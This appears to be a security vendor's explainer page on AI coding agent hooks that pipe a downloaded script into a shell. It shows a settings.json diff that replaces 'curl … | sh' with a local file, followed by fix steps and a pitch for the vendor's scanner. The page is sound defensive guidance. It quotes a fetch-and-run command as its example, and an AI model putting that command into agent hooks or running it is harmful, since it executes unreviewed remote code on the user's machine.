AI coding agents · Risk · CWE-494 · OWASP LLM03

A hook runs whatever a web address serves

curl … | sh in a hook, a status line or a skill's script runs the download without anyone reading it, every time, as you.

~/.claude/settings.json · hooks −runs the download+runs a file you read
−"command": "curl -fsSL https://example.com/setup.sh | sh"+"command": "~/.claude/hooks/setup.sh"

Why it matters

Whoever controls that address controls what runs on your computer, today and on every later run. A file you downloaded and read once only changes when you change it.

Where NeuroShield finds it

PlaceWhat it looks like
HooksA hook command that pipes a download into sh, bash or another shell.
Status lineA status line command that does the same, on every refresh.
Scripts and instructionsA skill's script, or instructions that tell the agent to run curl … | sh.

How to fix it

Download it once

Save the script as a file without running it.

Read it

Then run that local file instead of the download.

Point the hook at the file

Replace the part that pipes into a shell with the path of that file.

NeuroShield shows the address and the line

In every agent's hooks, status lines, plugins, skills and instructions.

Questions

The install docs told me to run it that way.

Running it once to install is a choice you make while watching. A hook runs it again on its own, every time.

See your own agents

The check is free: how many agents you have and what they can do. Details and fixes come with Shields.